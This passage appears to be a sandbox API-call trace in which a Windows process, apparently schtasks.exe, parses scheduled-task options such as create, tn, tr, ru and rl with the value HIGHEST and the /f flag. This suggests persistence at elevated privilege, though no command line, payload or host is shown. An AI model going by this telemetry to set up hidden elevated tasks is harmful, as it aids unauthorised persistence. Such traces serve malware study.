_ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.943] lstrlenW (lpString="|ed|") returned 4 [0077.943] lstrlenW (lpString="|rl|") returned 4 [0077.943] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0077.943] SetLastError (dwErrCode=0x490) [0077.943] lstrlenW (lpString="it") returned 2 [0077.943] lstrlenW (lpString="it") returned 2 [0077.943] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.943] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.943] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|it|") returned 4 [0077.943] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.943] lstrlenW (lpString="|it|") returned 4 [0077.943] lstrlenW (lpString="|rl|") returned 4 [0077.943] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0077.943] SetLastError (dwErrCode=0x490) [0077.943] lstrlenW (lpString="et") returned 2 [0077.943] lstrlenW (lpString="et") returned 2 [0077.943] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.943] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.943] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|et|") returned 4 [0077.943] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.944] lstrlenW (lpString="|et|") returned 4 [0077.944] lstrlenW (lpString="|rl|") returned 4 [0077.944] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0077.944] SetLastError (dwErrCode=0x490) [0077.944] lstrlenW (lpString="k") returned 1 [0077.944] lstrlenW (lpString="k") returned 1 [0077.944] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.944] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.944] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|k|") returned 3 [0077.944] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.944] lstrlenW (lpString="|k|") returned 3 [0077.944] lstrlenW (lpString="|rl|") returned 4 [0077.944] SetLastError (dwErrCode=0x490) [0077.944] lstrlenW (lpString="du") returned 2 [0077.944] lstrlenW (lpString="du") returned 2 [0077.944] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.944] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.944] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|du|") returned 4 [0077.944] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.944] lstrlenW (lpString="|du|") returned 4 [0077.944] lstrlenW (lpString="|rl|") returned 4 [0077.944] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0077.944] SetLastError (dwErrCode=0x490) [0077.944] lstrlenW (lpString="ri") returned 2 [0077.944] lstrlenW (lpString="ri") returned 2 [0077.944] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.944] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.944] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ri|") returned 4 [0077.945] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.945] lstrlenW (lpString="|ri|") returned 4 [0077.945] lstrlenW (lpString="|rl|") returned 4 [0077.945] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0077.945] SetLastError (dwErrCode=0x490) [0077.945] lstrlenW (lpString="z") returned 1 [0077.945] lstrlenW (lpString="z") returned 1 [0077.945] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.945] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.945] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|z|") returned 3 [0077.945] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.945] lstrlenW (lpString="|z|") returned 3 [0077.945] lstrlenW (lpString="|rl|") returned 4 [0077.945] SetLastError (dwErrCode=0x490) [0077.945] lstrlenW (lpString="f") returned 1 [0077.945] lstrlenW (lpString="f") returned 1 [0077.945] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.945] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.945] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.945] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.945] lstrlenW (lpString="|f|") returned 3 [0077.945] lstrlenW (lpString="|rl|") returned 4 [0077.945] SetLastError (dwErrCode=0x490) [0077.945] lstrlenW (lpString="v1") returned 2 [0077.945] lstrlenW (lpString="v1") returned 2 [0077.946] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.946] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.946] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|v1|") returned 4 [0077.946] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.946] lstrlenW (lpString="|v1|") returned 4 [0077.946] lstrlenW (lpString="|rl|") returned 4 [0077.946] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0077.946] SetLastError (dwErrCode=0x490) [0077.946] lstrlenW (lpString="xml") returned 3 [0077.946] lstrlenW (lpString="xml") returned 3 [0077.946] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.946] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.946] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|xml|") returned 5 [0077.946] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.946] lstrlenW (lpString="|xml|") returned 5 [0077.946] lstrlenW (lpString="|rl|") returned 4 [0077.946] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0077.946] SetLastError (dwErrCode=0x490) [0077.946] lstrlenW (lpString="ec") returned 2 [0077.946] lstrlenW (lpString="ec") returned 2 [0077.946] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.946] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.946] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ec|") returned 4 [0077.946] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.946] lstrlenW (lpString="|ec|") returned 4 [0077.946] lstrlenW (lpString="|rl|") returned 4 [0077.946] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0077.946] SetLastError (dwErrCode=0x490) [0077.946] lstrlenW (lpString="rl") returned 2 [0077.946] lstrlenW (lpString="rl") returned 2 [0077.947] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.947] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.947] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.947] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.947] lstrlenW (lpString="|rl|") returned 4 [0077.947] lstrlenW (lpString="|rl|") returned 4 [0077.947] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0077.947] SetLastError (dwErrCode=0x0) [0077.947] SetLastError (dwErrCode=0x0) [0077.947] lstrlenW (lpString="HIGHEST") returned 7 [0077.947] lstrlenW (lpString="-/") returned 2 [0077.947] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0077.947] SetLastError (dwErrCode=0x490) [0077.947] SetLastError (dwErrCode=0x490) [0077.947] SetLastError (dwErrCode=0x0) [0077.947] lstrlenW (lpString="HIGHEST") returned 7 [0077.947] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0077.947] SetLastError (dwErrCode=0x490) [0077.947] SetLastError (dwErrCode=0x0) [0077.947] _memicmp (_Buf1=0x17d6b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.947] lstrlenW (lpString="HIGHEST") returned 7 [0077.947] lstrlenW (lpString="HIGHEST") returned 7 [0077.947] lstrlenW (lpString=" \x09") returned 2 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0077.947] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0077.947] GetLastError () returned 0x0 [0077.947] lstrlenW (lpString="HIGHEST") returned 7 [0077.948] lstrlenW (lpString="HIGHEST") returned 7 [0077.948] SetLastError (dwErrCode=0x0) [0077.948] SetLastError (dwErrCode=0x0) [0077.948] lstrlenW (lpString="/f") returned 2 [0077.948] lstrlenW (lpString="-/") returned 2 [0077.948] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.948] lstrlenW (lpString="create") returned 6 [0077.948] lstrlenW (lpString="create") returned 6 [0077.948] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.948] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.948] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.948] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.948] lstrlenW (lpString="|create|") returned 8 [0077.948] lstrlenW (lpString="|f|") returned 3 [0077.948] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0077.948] SetLastError (dwErrCode=0x490) [0077.948] lstrlenW (lpString="?") returned 1 [0077.948] lstrlenW (lpString="?") returned 1 [0077.948] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.948] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.948] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|?|") returned 3 [0077.948] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.948] lstrlenW (lpString="|?|") returned 3 [0077.948] lstrlenW (lpString="|f|") returned 3 [0077.948] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0077.948] SetLastError (dwErrCode=0x490) [0077.948] lstrlenW (lpString="s") returned 1 [0077.948] lstrlenW (lpString="s") returned 1 [0077.948] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.948] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.949] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|s|") returned 3 [0077.949] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.949] lstrlenW (lpString="|s|") returned 3 [0077.949] lstrlenW (lpString="|f|") returned 3 [0077.949] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0077.949] SetLastError (dwErrCode=0x490) [0077.949] lstrlenW (lpString="u") returned 1 [0077.949] lstrlenW (lpString="u") returned 1 [0077.949] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.949] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.949] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|u|") returned 3 [0077.949] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.949] lstrlenW (lpString="|u|") returned 3 [0077.949] lstrlenW (lpString="|f|") returned 3 [0077.949] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0077.949] SetLastError (dwErrCode=0x490) [0077.949] lstrlenW (lpString="p") returned 1 [0077.949] lstrlenW (lpString="p") returned 1 [0077.949] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.949] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.949] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|p|") returned 3 [0077.949] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.949] lstrlenW (lpString="|p|") returned 3 [0077.949] lstrlenW (lpString="|f|") returned 3 [0077.949] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0077.949] SetLastError (dwErrCode=0x490) [0077.949] lstrlenW (lpString="ru") returned 2 [0077.949] lstrlenW (lpString="ru") returned 2 [0077.949] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.949] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.950] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ru|") returned 4 [0077.950] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.950] lstrlenW (lpString="|ru|") returned 4 [0077.950] lstrlenW (lpString="|f|") returned 3 [0077.950] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0077.950] SetLastError (dwErrCode=0x490) [0077.950] lstrlenW (lpString="rp") returned 2 [0077.950] lstrlenW (lpString="rp") returned 2 [0077.950] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.950] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.950] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rp|") returned 4 [0077.950] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.950] lstrlenW (lpString="|rp|") returned 4 [0077.950] lstrlenW (lpString="|f|") returned 3 [0077.950] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0077.950] SetLastError (dwErrCode=0x490) [0077.950] lstrlenW (lpString="sc") returned 2 [0077.950] lstrlenW (lpString="sc") returned 2 [0077.950] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.950] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.950] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.950] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.950] lstrlenW (lpString="|sc|") returned 4 [0077.950] lstrlenW (lpString="|f|") returned 3 [0077.950] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0077.950] SetLastError (dwErrCode=0x490) [0077.950] lstrlenW (lpString="mo") returned 2 [0077.950] lstrlenW (lpString="mo") returned 2 [0077.950] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.950] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.951] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.951] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.951] lstrlenW (lpString="|mo|") returned 4 [0077.951] lstrlenW (lpString="|f|") returned 3 [0077.951] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0077.951] SetLastError (dwErrCode=0x490) [0077.951] lstrlenW (lpString="d") returned 1 [0077.951] lstrlenW (lpString="d") returned 1 [0077.951] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.951] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.951] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|d|") returned 3 [0077.951] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.951] lstrlenW (lpString="|d|") returned 3 [0077.951] lstrlenW (lpString="|f|") returned 3 [0077.951] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0077.951] SetLastError (dwErrCode=0x490) [0077.951] lstrlenW (lpString="m") returned 1 [0077.951] lstrlenW (lpString="m") returned 1 [0077.951] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.951] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.951] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|m|") returned 3 [0077.951] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.951] lstrlenW (lpString="|m|") returned 3 [0077.951] lstrlenW (lpString="|f|") returned 3 [0077.951] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0077.951] SetLastError (dwErrCode=0x490) [0077.951] lstrlenW (lpString="i") returned 1 [0077.951] lstrlenW (lpString="i") returned 1 [0077.951] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.951] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.952] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|i|") returned 3 [0077.952] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.952] lstrlenW (lpString="|i|") returned 3 [0077.952] lstrlenW (lpString="|f|") returned 3 [0077.952] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0077.952] SetLastError (dwErrCode=0x490) [0077.952] lstrlenW (lpString="tn") returned 2 [0077.952] lstrlenW (lpString="tn") returned 2 [0077.952] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.952] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.952] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.952] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.952] lstrlenW (lpString="|tn|") returned 4 [0077.952] lstrlenW (lpString="|f|") returned 3 [0077.952] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0077.952] SetLastError (dwErrCode=0x490) [0077.952] lstrlenW (lpString="tr") returned 2 [0077.952] lstrlenW (lpString="tr") returned 2 [0077.952] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.952] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.952] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.952] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.952] lstrlenW (lpString="|tr|") returned 4 [0077.952] lstrlenW (lpString="|f|") returned 3 [0077.952] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0077.952] SetLastError (dwErrCode=0x490) [0077.952] lstrlenW (lpString="st") returned 2 [0077.953] lstrlenW (lpString="st") returned 2 [0077.953] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.953] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.953] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|st|") returned 4 [0077.953] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.953] lstrlenW (lpString="|st|") returned 4 [0077.953] lstrlenW (lpString="|f|") returned 3 [0077.953] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0077.953] SetLastError (dwErrCode=0x490) [0077.953] lstrlenW (lpString="sd") returned 2 [0077.953] lstrlenW (lpString="sd") returned 2 [0077.953] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.953] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.953] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sd|") returned 4 [0077.953] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.953] lstrlenW (lpString="|sd|") returned 4 [0077.953] lstrlenW (lpString="|f|") returned 3 [0077.953] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0077.953] SetLastError (dwErrCode=0x490) [0077.953] lstrlenW (lpString="ed") returned 2 [0077.953] lstrlenW (lpString="ed") returned 2 [0077.953] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.953] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.953] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ed|") returned 4 [0077.953] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.953] lstrlenW (lpString="|ed|") returned 4 [0077.953] lstrlenW (lpString="|f|") returned 3 [0077.953] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0077.953] SetLastError (dwErrCode=0x490) [0077.953] lstrlenW (lpString="it") returned 2 [0077.954] lstrlenW (lpString="it") returned 2 [0077.954] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.954] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.954] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|it|") returned 4 [0077.954] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.954] lstrlenW (lpString="|it|") returned 4 [0077.954] lstrlenW (lpString="|f|") returned 3 [0077.954] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0077.954] SetLastError (dwErrCode=0x490) [0077.954] lstrlenW (lpString="et") returned 2 [0077.954] lstrlenW (lpString="et") returned 2 [0077.954] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.954] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.954] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|et|") returned 4 [0077.954] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.954] lstrlenW (lpString="|et|") returned 4 [0077.954] lstrlenW (lpString="|f|") returned 3 [0077.954] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0077.954] SetLastError (dwErrCode=0x490) [0077.954] lstrlenW (lpString="k") returned 1 [0077.954] lstrlenW (lpString="k") returned 1 [0077.954] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.954] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.954] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|k|") returned 3 [0077.954] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.954] lstrlenW (lpString="|k|") returned 3 [0077.954] lstrlenW (lpString="|f|") returned 3 [0077.954] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0077.954] SetLastError (dwErrCode=0x490) [0077.955] lstrlenW (lpString="du") returned 2 [0077.955] lstrlenW (lpString="du") returned 2 [0077.955] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.955] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.955] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|du|") returned 4 [0077.955] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.955] lstrlenW (lpString="|du|") returned 4 [0077.955] lstrlenW (lpString="|f|") returned 3 [0077.955] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0077.955] SetLastError (dwErrCode=0x490) [0077.955] lstrlenW (lpString="ri") returned 2 [0077.955] lstrlenW (lpString="ri") returned 2 [0077.955] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.955] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.955] _vsnwprintf (in: _Buffer=0x17c390, 